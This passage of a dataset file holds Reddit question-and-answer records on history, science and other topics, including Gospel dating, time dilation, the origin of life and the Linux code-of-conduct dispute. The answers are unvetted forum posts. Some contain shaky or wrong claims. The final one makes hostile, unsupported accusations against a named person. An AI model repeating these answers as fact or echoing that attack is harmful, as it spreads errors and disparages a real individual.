hitters that lasted until the 2000s, when pitchers with 100mph fastballs and effective breaking balls became more common, as well as specialized pitchers and advanced split stats improving strategy against specific hitters.\n\nIn a nutshell, the core game has not changed much, but many of the details and nuances are quite different today.  If you watch old newsreel footage of baseball from the early 20th century, you know you're watching baseball.  If you watch a game from the 60s it doesn't look or play *that* differently.  I would say the modern game is more highly refined and specialized."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7j409e", "title": "People often say the Gospel of Mark was written around 70 AD. What are the primary sources of evidence for that assertion?", "selftext": "Whenever I see the 70 AD date mentioned, I never see any lists of evidence, like \"we've carbon-dated the oldest manuscript to have been composed some time after 70 AD\" or \"the oldest written reference to Mark is from around 70 AD\" or anything of the sort. In fact, besides a [new development with a mummy mask](_URL_0_), I've read that all existing manuscripts date to 100 AD or later.\n\nSo what evidence goes into the assertion that Mark was written around 70 AD? How can we verify how correct this reconstructed history is?\n\n(That mummy mask seems to actually answer my question if it really is Mark from around 80 AD, but it seems like the reconstructed history of Mark going back that far predates the mask discovery.)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7j409e/people_often_say_the_gospel_of_mark_was_written/", "answers": {"a_id": ["dr3mijn", "dr48odh"], "score": [53, 6], "text": ["The earliest manuscripts won't provide the  evidence you want to date the composition of the text; all it can do is give you a terminus ante. We have tons of texts we know are older than the earliest extant manuscript.  In fact sometimes the entire manuscript tradition has been lost and the earliest copy is a printed edition! \n\nThe dating of Mark rests on internal evidence. In Mark 13,  Jesus discusses the coming destruction of the Temple in Jerusalem. The secular scholar rejects the notion that Jesus really prophesied that destruction,  and rather assumes the writer was writing after the destruction and so knew the details.  Titus destroyed the Temple in 70 CE, so the composition of the text had to be after that. \n\nOf course that method of dating won't work if you believe in an infallible Bible, but at that point you're already neck deep in miracles,  so....", "Frankly given the questions over the sourcing of the mummy masks and the lack of access for independent scholars I wouldn't count them as evidence for anything.\n\nThe dates on the gospels are heavily debated. 70 AD is towards the earlier end of the scale for Mark.\n\nAn upper limit is 144 AD with the Gospel of Marcion which is the point where Marcion's works were declared heretical. The Gospel of Marcion is a modified version of Luke (although people arguing for later dates may claim it was the other way around). Allowing for the time for a heresy to generate its own version of the gospel and for the thing to be declared as heresy pushes us back maybe a decade. Luke and Matthew both draw from Mark. Allowing time for Mark to become widely enough available that two further gospels use it as a source? Another decade perhaps which gets us to 120AD. Towards the later end for Mark but I've seen it suggested. \n\nAs for when/how it was referenced by other authors beyond Marcion there is an early document called First Epistle of Clement which uses text that could be taken from the Acts (but may well not be). The Acts appear to share an author with Luke (theological and Linguistic style). I say \"early\" for 1 Clement as actual dating is uncertain. \n\nIts starts by mentioning \u201csudden and repeated misfortunes and hindrances which have befallen us\u201d with \u201cus\u201d being the church in Rome. If that is a reference to persecution then the most likely timing of that is thought to be the persecution under Emperor Domitian (some have argued for Nero but that is a rather fringe position since it seems to refer to Christians now in old age who have been Christians since childhood). \n\nProblem is we aren't totally sure the persecution under Emperor Domitian actually happened due to lack of contemporary references.\n\nThe First Epistle of Clement doesn't reference or quote any of the gospels (which can be used as an argument for those who want to claim a late date for the gospels) although it does reference and quote a number of letters. Of course Luke and Matthew don't mention Mark so read into that what you will."]}, "title_urls": [], "selftext_urls": ["https://www.livescience.com/49489-oldest-known-gospel-mummy-mask.html"], "answers_urls": [[], []]}
{"q_id": "w2rqy", "title": "Found in an old post: \"You know if we breed goats selecting for horn distance, in a few generations we should be able to make UNICORNS!\" Is it realistic?", "selftext": "[original post](_URL_0_) even if not relevant at all", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/w2rqy/found_in_an_old_post_you_know_if_we_breed_goats/", "answers": {"a_id": ["c59pvpn", "c59rc79", "c59rem4", "c59rhmo", "c59srge", "c59t3is", "c59ukez", "c59x8bn"], "score": [182, 52, 16, 8, 217, 2, 12, 10], "text": ["Unicorns have a single horn.  Goats have two horns.  There are other problems.  If you listen to Pliny the unicorn was \n\n >  a creature with a horse's body, deer's head, elephant's feet, lion's tail, and one black horn two cubits long projecting from its forehead\n\nYou're not going to get that from selective breeding.\n\nBut, just concentrating on the horn.  Some things are not possible with selective breeding -some people think it's not possible to create a pink budgie for example- and some things are possible.\n\nI don't think it's easy to remove a horn, and to move the remaining horn to the centre, and then to grow it straight and long.\n\nDon't forget that many selective breeding programmes have caused considerable genetic flaws in the target population. I guess this is easier to to see in \"pedigree\" dogs, which often have diseases and deformities linked to breeding.\n\n_URL_1_\n\n\nCAUTION: The following newspaper article contains an image (at the top of the page) that many people will find distressing.  It's a hairless cat being held up by its skin.\n\n_URL_0_\n\n\ntl;dr No - you'll end up with ugly ill goats with a weird horn thing.", "This is a Google search for [lancelot unicorn](_URL_0_). \n\nThere's a simple surgical procedure which can cause a horned goat to grown a single horn. Zell, the man who created Lancelot, claims that it changes the temperament of the animals when this is done to them.", "This might be looked at in comparison to something similarly difficult. For maybe hundreds of years it has been the dream of many plant breeders to create a blue rose. You can get yellow, white red, pink quite easily, but no one has come close to a really blue rose. After looking into the genes involved and the metabolic pathway for the pigments, there wasn't really any framework for mutations that could make blue. ie, there needed to be a pretty serious/complicated mutation that would be very difficult to achieve with traditional breeding. ", "I just barely remember evo-devo theory, but I'd say that *in theory* it's possible, if you manage to select genes until, at an embryonic level, the precursor areas for horns overlap... there are a lot of structures that at the beginning were double and then \"melted\" together: think about the nostrils, the left and right part of the heart.. maybe you could have a structure that is single, outside, and double inside, like the cavernous bodies of the penis...", "[This Image](_URL_0_) strongly suggests that the basic principal is valid.  You can see two horns about halfway merged in the center of the head.", "Aren't unicorns supposed to look like horses? What kind of unicorn looks like a goat?", "\"a few generations\" is ridiculously minimal", "Although I don't know about goats, but getting different horn lengths and different number of horns is possible with sheep. I am a sheep farmer (or a farmer's son to be more precise) and my farm has seen up to 3 or 4 horns on sheep and rams. Most farmers in the world on the other hand tend to breed hornless sheep but my dad prefers to breed them with the horns because they are handy.\n\nThere was also an article in the most recent Icelandic farmers newspaper about a farm in Iceland that specialized in selectively breeding different and relatively odd colored sheep along with various styles of horns.\n\nHere's one photo of a four horned ram _URL_1_\n\nand here's the newspaper with the said article. Scroll to page 38. Sadly, you will most likely only be able to enjoy the photographs unless you are in the mood for Google Translate. (which doesn't handle Icelandic very well)\n_URL_0_\n\nSadly, I can't seem to locate a photo I saw of a tri-horned ram where one of the horns pointed directly upwards from the center.\n\nPS: Sadly, this does not mean we will be able to breed unicorns as unicorns have completely different features from sheep and goats.\n\nPSS: Although I have said that \"it is possible\" to get different horn lengths and such I am in no way sure about how much control you have over it."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/announcements/comments/cnth8/making_ends_meet_tldr_remember_that_joke_about/c0txsox"], "answers_urls": [["http://www.telegraph.co.uk/health/petshealth/4990966/Inbred-pedigree-cats-suffering-from-life-threatening-diseases-and-deformities.html", "http://www.etymonline.com/index.php?term=unicorn"], ["http://www.google.com/#hl=en&amp;q=lancelot+unicorn"], [], [], ["http://www.worldoddities.com/img/animals/goat-as-a-unicorn/goat-as-a-unicorn01.jpg"], [], [], ["http://bondi.is/lisalib/getfile.aspx?itemid=6070", "http://www.flickr.com/photos/skarpi/5858746920/"]]}
{"q_id": "4ghuwn", "title": "Original Sources for Heracles' story?", "selftext": "I'm looking to read Greek Mythology but I want to read the primary sources used (translated, of course). I don't want the \"edited\" version of an author. I want the crude, most authentic version. Is there such a thing available anywhere on the web or in a book I could buy? I'm looking for the most far-back source. Completely untouched.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ghuwn/original_sources_for_heracles_story/", "answers": {"a_id": ["d2hs1to", "d2hwxfc", "d2i2p7n"], "score": [15, 26, 4], "text": ["Keep in mind when consulting any translated source that the act of translation is inherently imperfect, especially so in the case of sources from long ago. A translation is never an exact analogue of the original work, as each translator makes decisions differently and prioritizes things differently when translating any text. There is no such thing as a \"completely untouched\" translation because the act of translating a source can lead to the loss or change of emphasis, meaning, or other aspects of a work.", "Greek myth doesn't work like that.  It's a collection of stories from different authors, times, and places passed on through a mostly oral tradition.  Sometimes people got interested in these things and gathered collections of stories - almost always very boring, since they are stripped of literary quality.\n\nProbably the best known encyclopedia of Greek myth is Appolodorus' Library, which does exist in English translation (I think [this](_URL_0_) is the edition we used).  I had to teach this as a TA one term.  It is hell.\n\nGreek myth is older than our sources for it, and Hercules is a nice example of this.  The Iliad and Odyssey existed in a wider corpus of oral epic, almost all of which has been lost except for summaries.  The Iliad and Odyssey occasionally make nods towards these other epics in a way that assumes the audience would be familiar with them.  Some people (I'm thinking of Nagy mainly) have tried to do reading of the Iliad and Odyssey informed by these as best they can.\n\nHercules is one of these strange references.  He is present by implication in the Iliad, even if his name doesn't come up anywhere (I can't remember if it does), and in the Odyssey he's one of the characters Odysseus sees in the underworld.  Homer makes an odd comment about that; Odysseus sees the shade of Hercules only; Hercules himself lives on Olympus.  That suggests to me that apotheosis isn't fully developed in Homer, but I don't think I've seen any articles on it.\n\nSpecific stories about Hercules get told in different places; there are aitia that pop up in various works giving Hercules as the founder of a number of cities, shrines, or cults, he appears as a character, either central or peripheral, in a number of plays, he has a small role in the Argonautica.\n\nThe earliest thing that I can think of that might be considered a canonical treatment might be the metopes of the temple of Zeus at Olympus, that illustrate his 12 labors.  I'm sure archeologists around here have more to say about those than I will ever know.", "Related question, do we know the origins of Herakles? We know him most prominently from the Greek Pantheon, but I've read that his legend and his cult was established as far as in Asia Minor, North Africa, and parts of Europe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/Apollodorus-Library-Hyginus-Fabulae-Handbooks/dp/0872208206/ref=sr_1_1?ie=UTF8&amp;qid=1461678882&amp;sr=8-1&amp;keywords=library+of+apollodorus"], []]}
{"q_id": "19tzgn", "title": "why do christians in the us make a fuss about science and evolution, but catholics in europe don't?", "selftext": "I was brought up in a Catholic school in Europe, but wasn't indoctrinated about faux science. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19tzgn/eli5_why_do_christians_in_the_us_make_a_fuss/", "answers": {"a_id": ["c8ra89g", "c8rafkk", "c8raq4s", "c8rbpku", "c8rc7ut"], "score": [2, 10, 3, 3, 36], "text": ["Most Catholics in the US don't care it is just the small minority that take the bible literal. ", "For one thing, I'm not sure Catholics are the ones making the biggest fuss about it in the States.  Catholics are not exactly pro-science, but they've never been as literal as protestants.  Actually, the wiki page MmmVomit mentioned says that 20th century Popes mostly accepted evolution (here:  _URL_0_).  \n\nIf we look at the history, Protestants, especially puritans, were persecuted heavily in Europe, and lots of them went to North America to get away from it, so the US is somewhat founded on puritan ideals.  Protestantism is very literal, and partly came to be as a reaction against the Catholics who thought that studying the Bible was only for people who could devote their lives to the Church and go to seminary schools.  For a while they even banned translating it, to ensure only people who could read ancient Greek and Latin could read the Bible.  They also add quite a lot of philosophy outside of what is actually written.  Stuff like original sin, the harrowing of hell, and Mary's birth story, are all non-Biblical Catholic beliefs.  Protestants want everyone to read the Bible for themselves and believe that the Bible is self-contained, so there is no need to understand other philosophers, like Plato, to understand the word of God, and that extends to modern science.", "If I remember correctly the previous pope John Paul said that evolution is science and fact.\n\nThe Christians in the Us don't follow the pope as they are different sects.\n\nI don't know why they would be so opposed to it though. Most people understand that the bible is meant to be metaphoric and not to be taken literally.", "I always thought a good chunk of those who reject evolution do so because they take the whole \"god created earth in 7 days and then made adam and eve from clay and bone\" thing to be literally true, and along with that believe the earth is only a few thousand years old.  They can't take anything in the bible as a metaphor, believe the bible is infallible and when something like the theory of evolution comes along that threatens to invalidate the adam and eve bit and who knows what else it's just reflexively rejected.  They hear the word theory and think its more of a hypothesis some vessel of Satan made up to disillusion people so they'd lose faith in god, and to a hard headed narrow minded puritan the fear of that happening to them keeps their curiosity at bay.  They \"seek not temptation\" you could say.", "1. The Catholic Church has accepted modern science and does not take a strongly literal interpretation of the Bible.\n2. Protestants, not Catholics are the ones leading the anti-science movement in the US.\n3. The groups responsible do take the Bible as literal truth and object to anything that contradicts it (while ignoring all of the contradictions within the Bible itself.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Level_of_support_for_evolution#Evolution_and_the_Catholic_Church"], [], [], []]}
{"q_id": "4wey58", "title": "Can you see time dialation ?", "selftext": "I am gonna use the movie interstellar to explain my question. Specifically the water planet scene. If you dont know this movie, they want to land on a planet, which orbits around a black hole. Due to the gravity of the black hole, the time on this planet is severly dialated and supposedly every 1 hour on this planet means 7 years \"earth time\". So they land on the planet, but leave one crew member behind and when they come back he aged 23 years. So far so good, all this should be theoretically possible to my knowledge (if not correct me).\n\nNow to my question: If they guy left on the spaceship had a telescope or something and then observes the people on the planet, what would he see? Would he see them move in ultra slow motion? If not, he couldnt see them move normally, because he can observe them for 23 years, while they only \"do actions\" that take 3 hours. But seeing them moving in slow motion would also make no sense to me, because the light he sees would then have to move slower then the speed of light?\n\nIs there any conclusive answer to this?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4wey58/can_you_see_time_dialation/", "answers": {"a_id": ["d66h0o1", "d66hemo", "d66l6uf", "d66llv8", "d66vfhl", "d670sv5", "d67as85"], "score": [1690, 58, 114, 8, 3, 2, 2], "text": ["By time dilation, we *mean* that the light emitted by those on the water planet over 3 hours in their rest frame is received over 23 years by the spaceship in its rest frame. So the observer on the spaceshift sees them move in very slow motion. The images are also extremely redshifted and very difficult even to detect.\n\n >  But seeing them moving in slow motion would also make no sense to me, because the light he sees would then have to move slower then the speed of light?\n\nFor a given observer, the speed of light is *not* constant throughout all of space. A light signal right next to you will always have speed *c*. But distant light signals have different speeds. To an observer exterior to a black hole, light slows down as it approaches the event horizon. This is a consequence of the curvature of spacetime since we cannot generally have globally inertial coordinates, but rather only *locally* inertial coordinates.\n\n---\n**edit:** There are a lot of follow-up questions about the non-constancy of *c* and how that statement fits into relativity. It is true that in *special* relativity, the speed of light is both invariant (all observers agree on the speed) and constant (the value is the same everywhere). That is known as the second postulate of special relativity. That's only true because we have the luxury of *globally inertial* coordinates in special relativity, i.e., there is no spacetime curvature. Once you have curvature, general relativity takes over and *the second postulate is simply no longer true*. We have to modify the postulate considerably.\n\nThe presence of curvature means that we can only have *locally inertial* coordinates, which roughly means the following. At any point in spacetime, you can always adapt your coordinates so that spacetime \"looks flat\" *but only at that point*. (For the math inclined, this means you can choose coordinates so that at the point *P*, the metric has the form of the Minkowski metric with vanishing first derivatives.) Away from that single point, spacetime does not look flat. To capture this mathematical fact, we usually say things like \"special relativity holds in local experiments\" or \"you cannot perform a local experiment to distinguish between gravity and uniform acceleration\".\n\nSo how does the second postulate change then? Well, it's still true *locally*. That is, if a light signal passes right next to you, you will *always* measure it to have speed *c*, no matter how fast you are going and no matter where you are, as long as you are right next to it. So the speed of light is still *invariant* but only *locally*. But someone else very far away will *not* measure the speed of that light signal to be *c*. In fact, suppose a light signal is traveling through space and we have a whole chain of observers, one after the other, camped out along the path of the light signal. For funsies, we don't even have to assume they are all at rest with respect to each other. As the light signal passes by each of them, they each measure its speed. Then some time later everyone reunites to compare their measurements. Guess what? They *all* come back and say that the light signal had speed *c*.\n\nHowever, suppose we picked out one specific observer and asked him to continuously measure the speed of the light signal. The moment the signal passed him, he would record a speed of *c*. But for all other points on the signal's path, he would record a value not necessarily equal to *c*. The speed could be less than *c*, the speed could exceed *c*, it may even be equal to *c*. But it's certainly not guaranteed to be *c*.\n\nNow for all of the questions about the speed of light being a universal speed limit. *That* is still true as long as you modify \"speed of light\" with the word \"local\". Go back to the previous example with the one observer measuring the speed of light along its path. Suppose that at some point he measures the light signal to have speed *c*/2. That's fine. But that also means that *nothing else* he measures at that point can have a speed that exceeds *c*/2. In other words, the local speed of light is *still* the universal speed limit.\n\nHowever, you should be careful that not everyone agrees on the local speed of light. That guy might say that light has speed *c*/2 at that point, but someone else might say it has speed *c*/4 or something. If the first guy measures some particle to be moving at *c*/3 at that point, that does *not* contradict the fact the second guy sees an upper speed limit of *c*/4 at that point. Remember, they are using *different* coordinates. Since both observers are not *right next to* the light signal when they measure its speed, all they are doing is measuring a coordinate speed, which are generally not very physically meaningful. You *cannot* unambiguously define the velocity of distant objects in general relativity.\n\nIf you are interested in more details, you can see [this thread](_URL_0_) and [my follow-up post within that thread](_URL_0_d59so7w). If you are math- or physics-inclined, you can also check out an introductory GR textbook. I recommend Schutz for starting out, followed by Hobson. [Sean Carroll's text](_URL_2_) is freely available online, but is more appropriate for a graduate course in GR. Wald's text is classic but is for advanced graduate students.", "the light wouldn't have to move slower than the speed of light.  slower light means you see something later, not slower. what he would see is a photon sent out at time T and one sent out an hour later to arrive a year in between for instance. and that would be the case for all the photons. their arrivals would be spread out over a longer time interval. ", "Just to point out, it's possible, but doesn't make sense as depicted.\n\nThe spaceship, in orbit around the planet, should be affected as the astronauts who land on the surface are - the time dilation is caused by the gravity of the black hole, and the distance between the astronauts on the surface and the space ships is, on the grand scale, miniscule, and thus they should experience time dilation at roughly the same rates.", "I believe you would see them moving very slowly, yes. I'm not sure how light comes into the equation, although Gravity can affect light paths.  Perhaps there's some sort of wavelength shift because of the speed difference.  That's basically how nature adjusts light so that it doesn't break the speed barrier, but I don't know if it's relevant to this example. ", "It bothers me that the planet orbits around a black hole. Doesn't seem realistic to me. Either the planet would be dragged to the hole or the gravity would be too high for people to survive considering the time shift is 7 years per hour. ", "Every time you see a red-shifted star, you are seeing time dilation in action.  When time moves slower, the colors move toward red (hence red-shifted), and when time speeds up, the colors move toward blue (blue-shifted).  When time stands still (as in a black hole), no light escapes and you see black.\n\nYou probably already know that the distant supernova we see are from the past, and the farther out in space we see, the older it is.  The consequence of that is if something is moving away from us at 0.999c, it will look frozen in time, and if something is moving away from us at 0.5c, it will look to be in slow-mo, everything happening at half the speed.  And if something moved toward us at 0.5c, it will look to be in fast-forward, everything happening at twice the speed.  If it moved toward us at 0.999c, we would see its distant birth and arrival at our planet almost simultaneously.", "If your inside the time dilation, no. Time is relative to the observer. To you, 1 second is 1 second.   \n \nTo an outside observer, I hope I'm correct in saying yes. Your 1 second of time would appear to be faster than their 1 second of time.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/askscience/comments/4sfhbq/if_light_is_sucked_into_a_black_hole_due_to_its/", "https://www.reddit.com/r/askscience/comments/4sfhbq/if_light_is_sucked_into_a_black_hole_due_to_its/d59so7w", "https://www.preposterousuniverse.com/grnotes/"], [], [], [], [], [], []]}
{"q_id": "2pymon", "title": "if hilary clinton became president would bill clinton be known as the \"first man\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pymon/eli5if_hilary_clinton_became_president_would_bill/", "answers": {"a_id": ["cn16w91", "cn16xr8"], "score": [3, 3], "text": ["He would be known as \"First Gentleman\", formally. However it is also likely and not wrong for him to retain his address as President Clinton as an ex-President, such that there would be two President Clintons known to the White House - they will probably go by full President Bill Clinton and President Hillary Clinton to avoid the confusion, akin to the situation with President Bush Sr. and Bush Jr.", "It's still not known as there has yet to be a female president.\n\nThe term \"First Lady\" was created and isn't just the President's wife, it's the title for his \"partner\", partner in this case just meaning the person playing hostess during events. In the case of no wife, the First Lady might be his daughter or niece.\n\nIt's unlikely that he would be referred to as \"First Man\" as \"man\" is not the male form of \"lady\", it's the male form of \"woman\". The male counterpart to 'lady\" is \"lord\". Though given the passed turmoil between the USA and royalty, that is unlikely.\n\nThe term \"First Gentleman\" is used for the husbands (or alternative peoples) of State Governors, meaning he would most likely make use of that title."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6l0g5r", "title": "How did organisms evolve to self-replicate protein and DNA without the help of external dna replicators like Virus's?", "selftext": "I'm curious how organisms \"learned\" how to self-replicate DNA and to synthesize proteins. Did organisms steal it from \"RNA/DNA masters\" like single celled life like Bacteria and viruses? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6l0g5r/how_did_organisms_evolve_to_selfreplicate_protein/", "answers": {"a_id": ["djqa3eq", "djqkhty", "djqs2nm", "djqtsm0", "djr1ez3", "djr8j9v"], "score": [15, 8, 5, 3, 5, 3], "text": ["As far as I understand it (actual scientists please correct me if I'm wrong) DNA evolved first from RNA through random chemical reactions that were occuring in ancient oceans.  In these conditions of hot and cold water as well as being in a nutrient rich bath of nucleotides (DNA and RNA building blocks) RNA could self replicate without the help of proteins.  From there DNA evolved and coevolved with RNA to the point where DNA could make it's own proteins to aid in replication.  Organisms arise after that as DNA evolved even further to build different types of structural ptoteins that build organisms.", "Here is an idea to think about: Metabolic networks already existed before any replicators.\n\n_URL_2_\n\n_URL_0_\n\nAndreas Wagner talks about it in his book The Arrival of the Fittest:\n\n_URL_1_\n\nGreat book! Mind blown!", "It's likely that RNA coded for enzymes that catalyzed it's replication. Again, there's no \"life\" going on at this point so we can wait a long time until the right enzyme is formed. In addition, strands of RNA also have the ability to twist themselves into ribozymes, which have a similar function as enzymes. This goes on until there are enough RNA, amino acids, and ribozymes to create a continuous cycle. At some point, DNA is accidentally created when two strands of RNA come together. Since DNA is more stable than RNA, DNA slowly takes over.\n\nThere's no way for life to start without self-replication and protein synthesis. As far as we know, that would have been a necessary predecessor to the formation of single-celled life.", "While the other answers in this post are valid, I will attempt to answer this question in a more holistic approach. \n\nTo ask questions about chemical evolution (versus biological evolution), we must look at the Miller-Urey experiment, which is essentially a simulation of primordial Earth. This experiment sought to mimic the ancient oceans' nutrients and environment. What we find is stereospecific (proper orientation) carbon-carbon bond molecules. This is important.\n\nWe also find that we can create RNA precursors in a lab. There are have been several advancements in this field. RNA is also found to be catalytic and self-catalytic. This means that RNA, exclusively, can help certain biological reactions go through. For more information on this, look at self-splicing introns and ribozymes.\n\nWhen RNA serves as an information carrier, as well as a catalyzing molecule, it is very a strong candidate for self-replicating in an environment like the primordial earth. See RNA world hypothesis.\n\nAlso, I should mention that organisms didn't learn to self-replicate. There is no conscious activity. It happened because of the energetics and kinetics of the replication reaction. \n\nProteins are a whole explanation altogether. I think I answered your question but do ask if there is something unclear! \n\nLast part, archaea (extreme livers) were first, then came bacteria, and then eukaryotes. Eukaryotes arose from a symbiosis (like a mutual agreement, again, not consciously though) from the archaeal cell and the bacterial cell. Viruses did steal the DNA of eukaryotes. They hijacked the important genes, ones that regulate and prevent cancer. See War on Cancer and Harold Varmus.", "Lets be real here, this is a question we don't know the answer to.  Abiogenesis and the early steps of evolution are still mysteries to us.\n\nThe RNA world hypothesis is popular because a.) a lot of the really basic enzymes necessary for life rely on RNA, with proteins playing a supplementary/structural role, and b.) RNA is unique in that its able to both catalyze reactions like proteins and store information like DNA, making it a possible precursor to both.\n\nSo here's a highly speculative idea, just to give you an idea of what kind of process we're looking at: the first self replicating thing may have been a strand of RNA that was able to attract matching nucleotides (not difficult, this happens readily, and nucleotides would likely be plentiful in a primordial earth) and by pure chance was also able to ligate the nucleotides together into a strand (or at least had properties that made such reactions more likely to happen even if they didn't catalyze them).  Remember, we've got the entire planet and hundreds of millions of years on our hands.  \n\nIt would take heat to separate these two strands, but earth at that time was much more volcanic than today.  This process would cause a ton of mutations, which is actually a bonus.  Maybe the new RNA molecule can bind to amino acids or other compounds,  maybe these increase its affinity to nucleotides, or they make a ligation reaction more favorable, or they can help separate the two strands.  And that's the basics of evolution.", "The scientific answer is \"we don't know\", but what is interesting is *why* we don't know.  To answer that question, we need to look at the earliest life form known to be common to everything alive - the Last Universal Common Ancestor (LUCA).\n\nThere are no fossils of the LUCA, it is likely that we'll never know exactly what it was.  However, we can compare gene sequences across all of the known species and get a molecular phylogeny for genes (not organisms) and we can compare that to the consensus version of the tree of life.\n\nWhat we find is that LUCA had at least a basic DNA repair mechanism, transcription and ribosomal protein biosynthesis and various cell membranes.  What we also find is that various enzymes such as catalases, RNases and aminoacyl-tRNA synthetases all *predate* the LUCA, some by a considerable margin.\n\nEven though we know that some enzymes were around before LUCA, we haven't found enough of them to make a fully functional organism.  Instead what we have is a dimly seen picture akin to what you find when an artist paints over a previous painting on the same canvas.\n\nThat's the analogy that is important.  LUCA presumably was around at the same time as a whole host of other organisms.  It's either that or LUCA was truly unique which doesn't seem to fit with experiments like Miller-Urey and modern research like that conducted by Sutherland *et al* which seem to indicate that it's pretty easy to get the building blocks of life.\n\nWhether or not those building blocks were \"alive\", it is clear that enzymes like RNases and aminoacyl-tRNA synthetases were present prior to LUCA and it can be inferred that replicating organisms were present to require such enzymes either as defence against invading RNA or to assist with catalysing their own replication.\n\nBut we don't know and the reason we don't know is that LUCA was so successful.  It colonised an entire planet with its offspring and, in doing so, painted over the canvas of the origin of early life.  We can pick at some of the layers, try to reveal some of the picture but it's likely that we will never know for sure because LUCA ate almost all of the evidence.\n\nEven if we did, by some fluke, stumble on a method that worked and could create life, we wouldn't know if it was actually correct.  All we could say (and all we can say) is that the method is a plausible explanation for the origin of life.\n\nEDIT: a good review paper can be found [here](_URL_0_) The Landscape of the Emergence of Life, Jeeta 2017 or you could look at [this](_URL_1_) The Enzymatic and Metabolic Capabilities of Early Life, Goldman *et al* 2017"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Metabolic_network_modelling", "http://arrival-of-the-fittest.com/", "https://en.wikipedia.org/wiki/Metabolic_network"], [], [], [], ["https://www.google.com.au/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=3&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwiIzpKC-u7UAhVHV7wKHYZ2CqUQFggyMAI&amp;url=http%3A%2F%2Fwww.mdpi.com%2F2075-1729%2F7%2F2%2F27%2Fpdf&amp;usg=AFQjCNEN0Ud5cd0r9SDyGhPlcZuD_nBFXA", "http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0039912"]]}
{"q_id": "bxknyq", "title": "what is the coc controvery in the linux community?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bxknyq/eli5_what_is_the_coc_controvery_in_the_linux/", "answers": {"a_id": ["eq7rmg5", "eq7si8v"], "score": [3, 4], "text": ["CoC = Code of Conduct.\n\nSo, Linus has been known to have a temper, which he occasionally would unleash on various people. Usually for good reason, but still, he went further than was really necessary, and has no doubt driven away people who could have made useful contributions.\n\nThere was some sort of issue surrounding Linus' attendance to a summit with a select group of developers. Linus either misunderstood something, or pretended to misunderstand where it would be to skip the meeting, or tried to intentionally miss the meeting in order to let people discuss his possible replacement. This part is a bit confusing, so I'm not really clear on it. So at the time he traveled to the wrong country, and said \"Well, do the meeting without me, then\". The meeting then got moved to where he was instead. And after that apparently somebody had a big talk with Linus, leading to him having a realization of \"I'm a bit of a jerk\", and deciding to do some self-improvement.\n\nFollowing that, a Code of Conduct got posted. Pretty much instantly conspiracy theories started flying around because some people didn't like the author of the document, and thought it'd institute witch hunts, unpleasant rules, and have the effect of decreasing code quality.\n\nIMO it's mostly of a tempest in a teapot as so far nothing horrible has happened as far as I know. But Linus went on a vacation, the document got dropped into the kernel, and nobody hung around to clarify anything, so conspiracy theories started breeding. I think a move like that needed somebody hanging around, talking to people, and shooting down crazy theories.", "A touch of relevant history: A contributor on the Opal project made inflammatory remarks about trans people. A trans activist named Coraline Ada Ehmke caught wind and originally tried to get the contributor removed from the project; project leadership compromised to instate a code of conduct. Coraline herself wrote it, I believe, which implies she agreed with the compromise and settled.\n\n & #x200B;\n\nThus, the Contributors Covenant was born.\n\n & #x200B;\n\nNot satisfied, with what she agreed to, Coraline then tried to modify the CC to attack the contributor she originally targeted, and Opal and Coraline seemed to part ways about the issue.\n\n & #x200B;\n\nLinus recently signed the CC into the Linux kernel, apologized for past behavior, and took a break. The rumor mill took off speculating the cause.\n\n & #x200B;\n\nCoraline then fanned the flames by engaging in activity she would otherwise detest if it were specific to trans people. She gloated that the Linux kernel project was infiltrated by SJWs and celebrated its demise. She has admitted the CC is a political document, which the Linux kernel contributors almost universally agree has no place in the project.\n\n & #x200B;\n\nSo none of that helps.\n\n & #x200B;\n\nThis lead to one big half of the discussion in that who has a right to be heard in the Linux kernel community if they're not themselves contributors? Coraline makes misconduct personal and seeks to subvert and destroy not the bigotry itself, not even just the person, but everything the person ever touched. She's seeking to destroy the Linux kernel out of pure spite and satisfaction, and is thus toxic in her own way.\n\n & #x200B;\n\nCoraline is also against meritocracy, where one is rewarded for their contributions. She believes people should be merited for their humanity, because, you know, it doesn't matter how good your code is so long as you're writing it. Or some shit...\n\n & #x200B;\n\nSome people just want to watch the world burn.\n\n & #x200B;\n\nBut the other half of the discussion is whether the community needs to police itself at all, and that's a subject I don't feel like commenting on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
